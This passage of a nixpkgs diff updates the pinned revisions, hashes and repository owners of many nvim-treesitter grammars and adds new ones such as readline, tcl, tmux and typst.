"https://github.com/ObserverOfTime/tree-sitter-poe-filter"; }; @@ -1746,12 +1832,12 @@ }; printf = buildGrammar { language = "printf"; - version = "0.0.0+rev=0469630"; + version = "0.0.0+rev=0e0acea"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-printf"; - rev = "04696305caceab64a78e3a749774718d87ba85a1"; - hash = "sha256-MWrKImt7+E4LYsrSMKIEifXmb6MeuiNxy3pt1DCCLBQ="; + rev = "0e0aceabbf607ea09e03562f5d8a56f048ddea3d"; + hash = "sha256-y/7CDnHpT3D6hL0f+52mReCphn+lvElfQQKJwY4fr9c="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-printf"; }; @@ -1779,14 +1865,14 @@ }; properties = buildGrammar { language = "properties"; - version = "0.0.0+rev=9725327"; + version = "0.0.0+rev=9d09f5f"; src = fetchFromGitHub { - owner = "ObserverOfTime"; + owner = "tree-sitter-grammars"; repo = "tree-sitter-properties"; - rev = "97253273bdf8b63546c8006e71ba155ecc27069e"; - hash = "sha256-pzAoRPBZRqlchnaYrKixrgjTZZ3nLzoOD5MZCqS7trI="; + rev = "9d09f5f200c356c50c4103d36441309fd61b48d1"; + hash = "sha256-KrQlLqCH4P5pwm8ql+iVR09khzQuJu2UHXdMT9MZYe8="; }; - meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-properties"; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-properties"; }; proto = buildGrammar { language = "proto"; @@ -1835,56 +1921,56 @@ }; puppet = buildGrammar { language = "puppet"; - version = "0.0.0+rev=9ce9a5f"; + version = "0.0.0+rev=3641b9e"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-puppet"; - rev = "9ce9a5f7d64528572aaa8d59459ba869e634086b"; - hash = "sha256-YEjjy9WLwITERYqoeSVrRYnwVBIAwdc4o0lvAK9wizw="; + rev = "3641b9e854ac9c84c7576e71c4c9a357bcfd9550"; + hash = "sha256-J1DBjQRdV4R85NTyg/qmwbjm1bryKe3UOdp4XyH6BQc="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-puppet"; }; purescript = buildGrammar { language = "purescript"; - version = "0.0.0+rev=85a9095"; + version = "0.0.0+rev=daf9b3e"; src = fetchFromGitHub { owner = "postsolar"; repo = "tree-sitter-purescript"; - rev = "85a90951c10f118f819c1137f669800246890db7"; - hash = "sha256-F5xkMYK5WYn+Fuf/vWGaywX+hrjOqGUlg9EjHMS6yDg="; + rev = "daf9b3e2be18b0b2996a1281f7783e0d041d8b80"; + hash = "sha256-eY2WF2n0fZUl1zxZZHJVYR8b1FwaAjkCeSeOdSf67m4="; }; meta.homepage = "https://github.com/postsolar/tree-sitter-purescript"; }; pymanifest = buildGrammar { language = "pymanifest"; - version = "0.0.0+rev=a775470"; + version = "0.0.0+rev=e3b82b7"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-pymanifest"; - rev = "a77547018ada84ca4bc115c7650b19441120f065"; - hash = "sha256-8aU3TA0KJAfsiJi326mixw6GcnFDTJzrHquCZi0lYOQ="; + rev = "e3b82b78721aee07f676dac8473ae69db51debcf"; + hash = "sha256-pZCqeSdiYctbFthdb8Olw35CAXQmT7jG2LOO/3NN/8s="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-pymanifest"; }; python = buildGrammar { language = "python"; - version = "0.0.0+rev=4bfdd90"; + version = "0.0.0+rev=22d3f87"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-python"; - rev = "4bfdd9033a2225cc95032ce77066b7aeca9e2efc"; - hash = "sha256-hXNxa895SyNOG7PH2vAIkWbcMjZDjWYDsCafBZuvnT0="; + rev = "22d3f87bdafac2782e907330babe4af574f5d0b4"; + hash = "sha256-tyEawslx00ZwohMZo4HBa/INfbS7q6Ob2LO7pvowobk="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-python"; }; ql = buildGrammar { language = "ql"; - version = "0.0.0+rev=bd08702"; + version = "0.0.0+rev=ff04ba6"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-ql"; - rev = "bd087020f0d8c183080ca615d38de0ec827aeeaf"; - hash = "sha256-2QOtNguYAIhIhGuVqyx/33gFu3OqcxAPBZOk85Q226M="; + rev = "ff04ba61857ba05b80221e71b423b2728dbebe1e"; + hash = "sha256-/ayyqSF/SBVvqMYm27NOlCYR3JN0xR3oy0OggwTysvE="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-ql"; }; @@ -1901,23 +1987,23 @@ }; qmljs = buildGrammar { language = "qmljs"; - version = "0.0.0+rev=2591330"; + version = "0.0.0+rev=9fa49ff"; src = fetchFromGitHub { owner = "yuja"; repo = "tree-sitter-qmljs"; - rev = "259133077f2fd854bcaa6f0149d3fc281fc8070b"; - hash = "sha256-xg3fXYfAYHVAkByQekOd4EFLv0TbINcQPasFQYUkF0A="; + rev = "9fa49ff3315987f715ce5666ff979a7742fa8a98"; + hash = "sha256-q20gLVLs0LpqRpgo/qNRDfExbWXhICWZjM1ux4+AT6M="; }; meta.homepage = "https://github.com/yuja/tree-sitter-qmljs"; }; query = buildGrammar { language = "query"; - version = "0.0.0+rev=3a9808b"; + version = "0.0.0+rev=a0ccc35"; src = fetchFromGitHub { owner = "nvim-treesitter"; repo = "tree-sitter-query"; - rev = "3a9808b22742d5bd906ef5d1a562f2f1ae57406d"; - hash = "sha256-5N7FT0HTK3xzzhAlk3wBOB9xlEpKSNIfakgFnsxEi18="; + rev = "a0ccc351e5e868ec1f8135e97aa3b53c663cf2df"; + hash = "sha256-H2QLsjl3/Kh0ojCf2Df38tb9KrM2InphEmtGd0J6+hM="; }; meta.homepage = "https://github.com/nvim-treesitter/tree-sitter-query"; }; @@ -1945,23 +2031,23 @@ }; rasi = buildGrammar { language = "rasi"; - version = "0.0.0+rev=371dac6"; + version = "0.0.0+rev=43196d9"; src = fetchFromGitHub { owner = "Fymyte"; repo = "tree-sitter-rasi"; - rev = "371dac6bcce0df5566c1cfebde69d90ecbeefd2d"; - hash = "sha256-2nYZoLcrxxxiOJEySwHUm93lzMg8mU+V7LIP63ntFdA="; + rev = "43196d934a9a6ab3c7093a8683efd0111bb03db1"; + hash = "sha256-7zhQ5wGm0FFyuTiBVN2KgvUTw8G6fwUGR8HKJ69kR+c="; }; meta.homepage = "https://github.com/Fymyte/tree-sitter-rasi"; }; rbs = buildGrammar { language = "rbs"; - version = "0.0.0+rev=b28e181"; + version = "0.0.0+rev=519a611"; src = fetchFromGitHub { owner = "joker1007"; repo = "tree-sitter-rbs"; - rev = "b28e1819d434e95916d11fe48ee6e8959b69197b"; - hash = "sha256-HWWvettxkzziIWH6448RDxmVkaUNfSOgv3CtrlsgW3U="; + rev = "519a61132a51222e3ce73d3b7ef07465f587f346"; + hash = "sha256-MLsbOdH4R3nZxqTFtPstTsbr+yjAz7UvKB/lsD8aWxM="; }; meta.homepage = "https://github.com/joker1007/tree-sitter-rbs"; }; @@ -1976,14 +2062,25 @@ }; meta.homepage = "https://github.com/amaanq/tree-sitter-re2c"; }; + readline = buildGrammar { + language = "readline"; + version = "0.0.0+rev=e436eae"; + src = fetchFromGitHub { + owner = "ribru17"; + repo = "tree-sitter-readline"; + rev = "e436eaef452266a3d00c195f0eb757d6502c767a"; + hash = "sha256-y38TDQ+7wBzEKol/UQ5Xk6f15wUW7hJxByDuhx9d0hQ="; + }; + meta.homepage = "https://github.com/ribru17/tree-sitter-readline"; + }; regex = buildGrammar { language = "regex"; - version = "0.0.0+rev=2354482"; + version = "0.0.0+rev=ba22e4e"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-regex"; - rev = "2354482d7e2e8f8ff33c1ef6c8aa5690410fbc96"; - hash = "sha256-X4iQ60LgiVsF0rtinVysX16d6yFjaSmwwndP2L5cuqw="; + rev = "ba22e4e0cb42b2ef066948d0ea030ac509cef733"; + hash = "sha256-mb8y3lsbN5zEpVCeBQxGXSRqC3FKsvNg1Rb1XTSh3Qo="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-regex"; }; @@ -2000,12 +2097,12 @@ }; requirements = buildGrammar { language = "requirements"; - version = "0.0.0+rev=389dd46"; + version = "0.0.0+rev=8666a4d"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-requirements"; - rev = "389dd46a39075ce36af6ee3af50393d9aa506d14"; - hash = "sha256-SGamdYeoBKMkyVzvA4nCWp3bqhfmkJctyhcVhqYBfPQ="; + rev = "8666a4dfeb3107144398158bc3dd7a3f59d89ccb"; + hash = "sha256-M+/I0pn79Juk8LRB6LLRAyA3R5zcm6rIoR4viT9SW0c="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-requirements"; }; @@ -2055,34 +2152,34 @@ }; ruby = buildGrammar { language = "ruby"; - version = "0.0.0+rev=4d9ad3f"; + version = "0.0.0+rev=22a0bb2"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-ruby"; - rev = "4d9ad3f010fdc47a8433adcf9ae30c8eb8475ae7"; - hash = "sha256-d3pN+Z8qGDDKuy8OyguGNVD97m2VasVvi8CckdCsOB8="; + rev = "22a0bb2678755a3714e194609862ea7f4516e807"; + hash = "sha256-lD3pRbQZDyqIkiknuXAkXd+6aHqKUY/8SNwQgfnrbBw="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-ruby"; }; rust = buildGrammar { language = "rust"; - version = "0.0.0+rev=e0e8b6d"; + version = "0.0.0+rev=2d7bac5"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-rust"; - rev = "e0e8b6de6e4aa354749c794f5f36a906dcccda74"; - hash = "sha256-egTxBuliboYbl+5N6Jdt960EMLByVmLqSmQLps3rEok="; + rev = "2d7bac5164c344c95530c16dd5c8fa1319e34308"; + hash = "sha256-k5/tfG8ONOK8ARgHwpxqB27sJWHioTd5WfCpmMZ1vJY="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-rust"; }; scala = buildGrammar { language = "scala"; - version = "0.0.0+rev=45b5ba0"; + version = "0.0.0+rev=e02f003"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-scala"; - rev = "45b5ba0e749a8477a8fd2666f082f352859bdc3c"; - hash = "sha256-tH2STGmCaVHDL4fOh8whPmiHbwKu8ZxjS4wDt+qVjjs="; + rev = "e02f003d78dc269fef287b9b7b9963dc1f26bd7e"; + hash = "sha256-LkrZ+y7QSAGe/kkkdUSyFQJFmD/mOI5Ps/wxD3BAkDI="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-scala"; }; @@ -2122,25 +2219,25 @@ }; slang = buildGrammar { language = "slang"; - version = "0.0.0+rev=ac07aa2"; + version = "0.0.0+rev=0cdfb17"; src = fetchFromGitHub { owner = "theHamsta"; repo = "tree-sitter-slang"; - rev = "ac07aa2c875ef6ada2ec468d8a4d0c7c5efd96d7"; - hash = "sha256-wWCXk7HnORmD1M761rv31yvPGLGynUyNYzrhZDNwzFs="; + rev = "0cdfb1741323f38e9a33798674145c22cfc0092b"; + hash = "sha256-1xSnb3n9u45B2gEBApZpZlb1VvbJOrmgQwrPL2OuGro="; }; meta.homepage = "https://github.com/theHamsta/tree-sitter-slang"; }; slint = buildGrammar { language = "slint"; - version = "0.0.0+rev=00c8a2d"; + version = "0.0.0+rev=3c82235"; src = fetchFromGitHub { - owner = "jrmoulton"; + owner = "slint-ui"; repo = "tree-sitter-slint"; - rev = "00c8a2d3645766f68c0d0460086c0a994e5b0d85"; - hash = "sha256-R7VeGT8Bu3i6ZPUbjEm7sbGSLvK6x3DLz098hPuhgyQ="; + rev = "3c82235f41b63f35a01ae3888206e93585cbb84a"; + hash = "sha256-D3X2YwvxvseIGnKzaSocr3Ak7qoASZhxyRS+rtpir0g="; }; - meta.homepage = "https://github.com/jrmoulton/tree-sitter-slint"; + meta.homepage = "https://github.com/slint-ui/tree-sitter-slint"; }; smali = buildGrammar { language = "smali"; @@ -2177,39 +2274,50 @@ }; solidity = buildGrammar { language = "solidity"; - version = "0.0.0+rev=1680203"; + version = "0.0.0+rev=5cb506a"; src = fetchFromGitHub { owner = "JoranHonig"; repo = "tree-sitter-solidity"; - rev = "168020304759ad5d8b4a88a541a699134e3730c5"; - hash = "sha256-GCSBXB9nNIYpcXlA6v7P1ejn1ojmfXdPzr1sWejB560="; + rev = "5cb506ae419c4ad620c77210fd47500d3d169dbc"; + hash = "sha256-3BQuEGrmQD9Va7JpTuKJaZ6VaJ//tfPtjoEDRj/utcU="; }; meta.homepage = "https://github.com/JoranHonig/tree-sitter-solidity"; }; soql = buildGrammar { language = "soql"; - version = "0.0.0+rev=ca70b23"; + version = "0.0.0+rev=857077f"; src = fetchFromGitHub { owner = "aheber"; repo = "tree-sitter-sfapex"; - rev = "ca70b2347a79615cd749517f6c6c2352e50a7ce9"; - hash = "sha256-7gVA5aFGw2DSFmmlv6HMLcfSki4aDPB05llfHFSaYME="; + rev = "857077f9e6bb04df0f769c18d32bfe036911adc8"; + hash = "sha256-b7rw0AWqqvFisS0qlDppJFxSnjNZaTTeph6gKfQwFNA="; }; location = "soql"; meta.homepage = "https://github.com/aheber/tree-sitter-sfapex"; }; sosl = buildGrammar { language = "sosl"; - version = "0.0.0+rev=ca70b23"; + version = "0.0.0+rev=857077f"; src = fetchFromGitHub { owner = "aheber"; repo = "tree-sitter-sfapex"; - rev = "ca70b2347a79615cd749517f6c6c2352e50a7ce9"; - hash = "sha256-7gVA5aFGw2DSFmmlv6HMLcfSki4aDPB05llfHFSaYME="; + rev = "857077f9e6bb04df0f769c18d32bfe036911adc8"; + hash = "sha256-b7rw0AWqqvFisS0qlDppJFxSnjNZaTTeph6gKfQwFNA="; }; location = "sosl"; meta.homepage = "https://github.com/aheber/tree-sitter-sfapex"; }; + sourcepawn = buildGrammar { + language = "sourcepawn"; + version = "0.0.0+rev=39ce73a"; + src = fetchFromGitHub { + owner = "nilshelmig"; + repo = "tree-sitter-sourcepawn"; + rev = "39ce73ad42b2c4f52848d16093c24feddaa7d226"; + hash = "sha256-CyCUGGycWpgQl/BGDjRHwYoa9Mess49jUf9WUkRaliE="; + }; + meta.homepage = "https://github.com/nilshelmig/tree-sitter-sourcepawn"; + }; sparql = buildGrammar { language = "sparql"; version = "0.0.0+rev=05f949d"; @@ -2223,12 +2331,12 @@ }; sql = buildGrammar { language = "sql"; - version = "0.0.0+rev=fd70fb3"; + version = "0.0.0+rev=da2d1ef"; src = fetchFromGitHub { owner = "derekstride"; repo = "tree-sitter-sql"; - rev = "fd70fb358d164cd93fbe2674a9cca276dc5203f7"; - hash = "sha256-GXQH/df33jxrIRXkJg2qRXrP6/3k+PodNxZ1O/ceaT8="; + rev = "da2d1eff425b146d3c8cab7be8dfa98b11d896dc"; + hash = "sha256-aNxUvmj4AMO744fsSOsvQcNEtHYuQDephKha/hSphh0="; }; meta.homepage = "https://github.com/derekstride/tree-sitter-sql"; }; @@ -2245,23 +2353,23 @@ }; ssh_config = buildGrammar { language = "ssh_config"; - version = "0.0.0+rev=0969813"; + version = "0.0.0+rev=4fab1c9"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-ssh-config"; - rev = "096981397385f49833dfd66037fa98081bbd9ef9"; - hash = "sha256-WpgIir4V4X2XUTceBwZyNFQE3ePDBqjlBRS57pF8ZO4="; + rev = "4fab1c9116cb7890885508e4630cc8e6a8373a41"; + hash = "sha256-cZoRQN3vrOC7xaKeURGeKfQ0xAyRMapbgNQrBTCFoHI="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-ssh-config"; }; starlark = buildGrammar { language = "starlark"; - version = "0.0.0+rev=c45ce2b"; + version = "0.0.0+rev=b31a616"; src = fetchFromGitHub { owner = "amaanq"; repo = "tree-sitter-starlark"; - rev = "c45ce2b39062bbd12ea1c210bd200db250efb24a"; - hash = "sha256-rEOvGrXRguIXQNvXdm+s80xRQ+8iCCdafA2Wl+dsHJo="; + rev = "b31a616aac5d05f927f3f9dd809789db7805b632"; + hash = "sha256-AVQNg7Ck2x1+5asFqJHQ3sdNKJrLVeck9fsgNMBU3x8="; }; meta.homepage = "https://github.com/amaanq/tree-sitter-starlark"; }; @@ -2311,23 +2419,23 @@ }; svelte = buildGrammar { language = "svelte"; - version = "0.0.0+rev=697bb51"; + version = "0.0.0+rev=04a126d"; src = fetchFromGitHub { - owner = "Himujjal"; + owner = "tree-sitter-grammars"; repo = "tree-sitter-svelte"; - rev = "697bb515471871e85ff799ea57a76298a71a9cca"; - hash = "sha256-TJVAQULTBTZxVwvpBpFmBPJM1jh2aN+KG8YfuT+/ylg="; + rev = "04a126d9210def99f06d9ab84a255110b862d47c"; + hash = "sha256-F6AC72IHMKs1jTwshwNkAXFfiBGEbBn7m83xedCoDsA="; }; - meta.homepage = "https://github.com/Himujjal/tree-sitter-svelte"; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-svelte"; }; swift = buildGrammar { language = "swift"; - version = "0.0.0+rev=1c58633"; + version = "0.0.0+rev=fc00cbb"; src = fetchFromGitHub { owner = "alex-pinkus"; repo = "tree-sitter-swift"; - rev = "1c586339fb00014b23d6933f2cc32b588a226f3b"; - hash = "sha256-bFJfPIc8H133yASZe9chgtJEBuNQ7oWm6/6Yu6jWwhI="; + rev = "fc00cbb460b40228b30f322b5a34ea0e8f35a9f8"; + hash = "sha256-FEac9qZuNAJYn/7mIpRSOy72F3qsiyPHZTn1DUzM2xk="; }; generate = true; meta.homepage = "https://github.com/alex-pinkus/tree-sitter-swift"; @@ -2376,6 +2484,17 @@ }; meta.homepage = "https://github.com/amaanq/tree-sitter-tablegen"; }; + tcl = buildGrammar { + language = "tcl"; + version = "0.0.0+rev=56ad1fa"; + src = fetchFromGitHub { + owner = "tree-sitter-grammars"; + repo = "tree-sitter-tcl"; + rev = "56ad1fa6a34ba800e5495d1025a9b0fda338d5b8"; + hash = "sha256-GhK92+nbJ+M5/1ZnPbIJ3EuNub332YK+hyWiwyBqUmk="; + }; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-tcl"; + }; teal = buildGrammar { language = "teal"; version = "0.0.0+rev=33482c9"; @@ -2390,12 +2509,12 @@ }; templ = buildGrammar { language = "templ"; - version = "0.0.0+rev=a3ef3d8"; + version = "0.0.0+rev=592faa3"; src = fetchFromGitHub { owner = "vrischmann"; repo = "tree-sitter-templ"; - rev = "a3ef3d8e73515b196d30adf9ee5115f057f7a2c6"; - hash = "sha256-henVqdcvCURqjiueaipB2YVLhh3gbVqFiLMfvGS3t6M="; + rev = "592faa3186ef857c92e4bd1c31d73c07a4a334db"; + hash = "sha256-XX1+P8ibo8REYYZQaC47lneg/roralo+YiRwFNnARsQ="; }; meta.homepage = "https://github.com/vrischmann/tree-sitter-templ"; }; @@ -2455,6 +2574,17 @@ }; meta.homepage = "https://github.com/tlaplus-community/tree-sitter-tlaplus"; }; + tmux = buildGrammar { + language = "tmux"; + version = "0.0.0+rev=10737f5"; + src = fetchFromGitHub { + owner = "Freed-Wu"; + repo = "tree-sitter-tmux"; + rev = "10737f5dc4d8e68c9667f11a6996688a1185755f"; + hash = "sha256-7MQYyWu1Rw3Vwmp3nbuorn9rD0xcEU5nRXPuTVpOqkM="; + }; + meta.homepage = "https://github.com/Freed-Wu/tree-sitter-tmux"; + }; todotxt = buildGrammar { language = "todotxt"; version = "0.0.0+rev=3937c5c"; @@ -2491,12 +2621,12 @@ }; tsx = buildGrammar { language = "tsx"; - version = "0.0.0+rev=d847898"; + version = "0.0.0+rev=198e2ea"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-typescript"; - rev = "d847898fec3fe596798c9fda55cb8c05a799001a"; - hash = "sha256-q8vJnJZdWzsiHHJSPGoM938U5AxuOIuGrx1r6F+cdK4="; + rev = "198e2ea43d1c4ddd76ee883f4eae15f4201cd241"; + hash = "sha256-WnVqoshymxZgGC/p5nFX08ypB1VDLIAMjjWN5YC4UT8="; }; location = "tsx"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-typescript"; @@ -2525,12 +2655,12 @@ }; typescript = buildGrammar { language = "typescript"; - version = "0.0.0+rev=d847898"; + version = "0.0.0+rev=198e2ea"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-typescript"; - rev = "d847898fec3fe596798c9fda55cb8c05a799001a"; - hash = "sha256-q8vJnJZdWzsiHHJSPGoM938U5AxuOIuGrx1r6F+cdK4="; + rev = "198e2ea43d1c4ddd76ee883f4eae15f4201cd241"; + hash = "sha256-WnVqoshymxZgGC/p5nFX08ypB1VDLIAMjjWN5YC4UT8="; }; location = "typescript"; meta.homepage = "https://github.com/tree-sitter/tree-sitter-typescript"; @@ -2546,14 +2676,25 @@ }; meta.homepage = "https://github.com/Teddytrombone/tree-sitter-typoscript"; }; + typst = buildGrammar { + language = "typst"; + version = "0.0.0+rev=3c3e5f8"; + src = fetchFromGitHub { + owner = "uben0"; + repo = "tree-sitter-typst"; + rev = "3c3e5f8e0caeba6157e26a1bedf8321e1da62799"; + hash = "sha256-9XbFIvZvmeeR38Kejt8Yyxidy/XiAtZ5aQMt/rfg4JE="; + }; + meta.homepage = "https://github.com/uben0/tree-sitter-typst"; + }; udev = buildGrammar { language = "udev"; - version = "0.0.0+rev=baeac48"; + version = "0.0.0+rev=8f58696"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-udev"; - rev = "baeac48a999abb9384cdcce320f0182937aec8ba"; - hash = "sha256-XEbCi9Oo5mTiocdh8Uqr5XQ3nqH3MBZjZusGd076NWE="; + rev = "8f58696e79092b4ad6bf197415bbd0970acf15cd"; + hash = "sha256-4vkEHlK8r69cvSu7CAXOmyiSSuIRlZcnQAGHtWqx41w="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-udev"; }; @@ -2570,12 +2711,12 @@ }; unison = buildGrammar { language = "unison"; - version = "0.0.0+rev=a69d087"; + version = "0.0.0+rev=fb49b81"; src = fetchFromGitHub { owner = "kylegoetz"; repo = "tree-sitter-unison"; - rev = "a69d087590f2ca057d1ef1a393de7e22869bb557"; - hash = "sha256-9eDWvNkY3rEz6khluAJuTXF95CF384IRptaRXGOHma4="; + rev = "fb49b8125509c079e08f345758c03a427129010e"; + hash = "sha256-Y4Pnte9ZxXq7tzjc+cliXO8U57cnHlQxOMuX8u39ptE="; }; generate = true; meta.homepage = "https://github.com/kylegoetz/tree-sitter-unison"; @@ -2604,15 +2745,15 @@ }; v = buildGrammar { language = "v"; - version = "0.0.0+rev=9ac84e6"; + version = "0.0.0+rev=be121f7"; src = fetchFromGitHub { - owner = "v-analyzer"; + owner = "vlang"; repo = "v-analyzer"; - rev = "9ac84e62396bb13c8f1d11f967f0c0f2dec1a448"; - hash = "sha256-a+oV175rnCgf5uTjmYkxTelekesBCEhcTOnKGorM88c="; + rev = "be121f724e4f3e2159dfa193c876be605c1de7fa"; + hash = "sha256-nOWhtoPoVjfPitOMxTiU8Y3dBKT3GwGswRFmVYkcZ2E="; }; location = "tree_sitter_v"; - meta.homepage = "https://github.com/v-analyzer/v-analyzer"; + meta.homepage = "https://github.com/vlang/v-analyzer"; }; vala = buildGrammar { language = "vala"; @@ -2627,12 +2768,12 @@ }; verilog = buildGrammar { language = "verilog"; - version = "0.0.0+rev=9020313"; + version = "0.0.0+rev=2dfddfc"; src = fetchFromGitHub { owner = "tree-sitter"; repo = "tree-sitter-verilog"; - rev = "902031343056bc0b11f3e47b33f036a9cf59f58d"; - hash = "sha256-7yPSblfcfNpJYFc06GT1EYY6WMgj/SaFI3UJqUBsL9c="; + rev = "2dfddfcb891f74a1cdb9d8ce480a997d11846e17"; + hash = "sha256-ekR9rDaGbDmtzZr0zXubq0brZI4hDsJUzZJTbgxIE2M="; }; meta.homepage = "https://github.com/tree-sitter/tree-sitter-verilog"; }; @@ -2649,36 +2790,36 @@ }; vim = buildGrammar { language = "vim"; - version = "0.0.0+rev=32c76f1"; + version = "0.0.0+rev=bc1364d"; src = fetchFromGitHub { owner = "neovim"; repo = "tree-sitter-vim"; - rev = "32c76f150347c1cd044e90b8e2bc73c00677fa55"; - hash = "sha256-14lkrGZ5JpbPvb5Pm2UzLodhO1IEz5rBETTU0RZDFc4="; + rev = "bc1364d922952138957a62105171ed68e73fbb6c"; + hash = "sha256-5h1GYjyYMJd5GS0zXh0LP1wBs60fYohpFv89gcdZ4vU="; }; meta.homepage = "https://github.com/neovim/tree-sitter-vim"; }; vimdoc = buildGrammar { language = "vimdoc"; - version = "0.0.0+rev=ed8695a"; + version = "0.0.0+rev=b63be26"; src = fetchFromGitHub { owner = "neovim"; repo = "tree-sitter-vimdoc"; - rev = "ed8695ad8de39c3f073da130156f00b1148e2891"; - hash = "sha256-q5Ln8WPFrtKBfZnaAAlMh3Q/eczEt6wCMZAtx+ISCKg="; + rev = "b63be26fa571259b512e1939f01755d9d6e78fbd"; + hash = "sha256-gsjepcw8Y8Vm6GhJRKUJKLsCb+Rd0lNyYfnmWijuiLo="; }; meta.homepage = "https://github.com/neovim/tree-sitter-vimdoc"; }; vue = buildGrammar { language = "vue"; - version = "0.0.0+rev=91fe275"; + version = "0.0.0+rev=7e48557"; src = fetchFromGitHub { - owner = "ikatyang"; + owner = "tree-sitter-grammars"; repo = "tree-sitter-vue"; - rev = "91fe2754796cd8fba5f229505a23fa08f3546c06"; - hash = "sha256-NeuNpMsKZUP5mrLCjJEOSLD6tlJpNO4Z/rFUqZLHE1A="; + rev = "7e48557b903a9db9c38cea3b7839ef7e1f36c693"; + hash = "sha256-dz9NC+axivAsVJPbt7TNtU89wFyrTBoD2hCBjiXFbgY="; }; - meta.homepage = "https://github.com/ikatyang/tree-sitter-vue"; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-vue"; }; wgsl = buildGrammar { language = "wgsl"; @@ -2693,23 +2834,23 @@ }; wgsl_bevy = buildGrammar { language = "wgsl_bevy"; - version = "0.0.0+rev=a041228"; + version = "0.0.0+rev=cbd58ee"; src = fetchFromGitHub { owner = "theHamsta"; repo = "tree-sitter-wgsl-bevy"; - rev = "a041228ae64632f59b9bd37346a0dbcb7817f36b"; - hash = "sha256-bBGunOcFPrHWLsP1ISgdFBNDIBbB0uhwxKAwmQZg7/k="; + rev = "cbd58ee33e24f46d16b9882b001eefb25a958ee2"; + hash = "sha256-EPpI4UJ/5GB2iDQGoSziUOcP1TVf7VU4FMTKvrujcAY="; }; meta.homepage = "https://github.com/theHamsta/tree-sitter-wgsl-bevy"; }; wing = buildGrammar { language = "wing"; - version = "0.0.0+rev=9c3a40d"; + version = "0.0.0+rev=13b79ea"; src = fetchFromGitHub { owner = "winglang"; repo = "wing"; - rev = "9c3a40d7e51c2963b19d1f7614f9b551cad66bb6"; - hash = "sha256-4L6vx4MHTuTx/5DKKWSVRygCRHI/y9YYbMs/ejAjZXw="; + rev = "13b79ea3f343b15f233c6e7ac930797748191615"; + hash = "sha256-2BOPevKjrNoTRNaadwr7erWDBxIDUvU4zLOQgXOB4rE="; }; location = "libs/tree-sitter-wing"; generate = true; @@ -2717,26 +2858,26 @@ }; xcompose = buildGrammar { language = "xcompose"; - version = "0.0.0+rev=01344fe"; + version = "0.0.0+rev=2383cc6"; src = fetchFromGitHub { owner = "ObserverOfTime"; repo = "tree-sitter-xcompose"; - rev = "01344fed31a3cd37a63f03357ec80cbc592a93b5"; - hash = "sha256-MZmtV8d5L7qF65cJuxZaJwMVvxSYMduwv8lbzljMJLM="; + rev = "2383cc69a2c42cfade41c7cb971fb3862bec6df1"; + hash = "sha256-N8pJhB35IApb41TKn6NuVMEgmQGC+1Nyu5eQck1K5g8="; }; meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-xcompose"; }; xml = buildGrammar { language = "xml"; - version = "0.0.0+rev=dd7ef38"; + version = "0.0.0+rev=c23bd31"; src = fetchFromGitHub { - owner = "ObserverOfTime"; + owner = "tree-sitter-grammars"; repo = "tree-sitter-xml"; - rev = "dd7ef38c74d8430da729b4da815e4c40776e03bb"; - hash = "sha256-6uQ9IeR4P5VXVvFA2KURDtjuYMMj9CwLHvI1dZ1B9L4="; + rev = "c23bd31d0aa72bfc01238b2546d5e823d8006709"; + hash = "sha256-oPjO7y2xSVxvP0bpCFo/oGP4hPs3kWJ728d/R5PUdK4="; }; - location = "tree-sitter-xml"; - meta.homepage = "https://github.com/ObserverOfTime/tree-sitter-xml"; + location = "xml"; + meta.homepage = "https://github.com/tree-sitter-grammars/tree-sitter-xml"; }; yaml = buildGrammar { language = "yaml"; @@ -2773,12 +2914,12 @@ }; zathurarc = buildGrammar { language = "zathurarc"; - version = "0.0.0+rev=b47016d"; + version = "0.0.0+rev=353bdf2"; src = fetchFromGitHub { owner = "Freed-Wu"; repo = "tree-sitter-zathurarc"; - rev = "b47016df5688ef91ad4532138b6210c7944d6483"; - hash = "sha256-Na0Z8mRdXYwAnw3wyc978aoQjF/m49IYsnQx3AG8kOc="; + rev = "353bdf25e7af9c2830e254977fd3fb57ccaa8203"; + hash = "sha256-vFDz4X0ujqM9GbrpGt3dRjvo0SR07E2qXrT/ppTegBQ="; }; meta.homepage = "https://github.com/Freed-Wu/tree-sitter-zathurarc"; }; diff --git a/pkgs/applications/editors/vim/plugins/nvim-treesitter/overrides.nix b/pkgs/applications/editors/vim/plugins/nvim-treesitter/overrides.nix index 8875c8da10575..8e3b39e6c1771 100644 --- a/pkgs/applications/editors/vim/plugins/nvim-treesitter/overrides.nix +++ b/pkgs/applications/editors/vim/plugins/nvim-treesitter/overrides.nix @@ -48,7 +48,7 @@ in rm -r parser ''; - passthru = { + passthru = (super.nvim-treesitter.passthru or { }) // { inherit 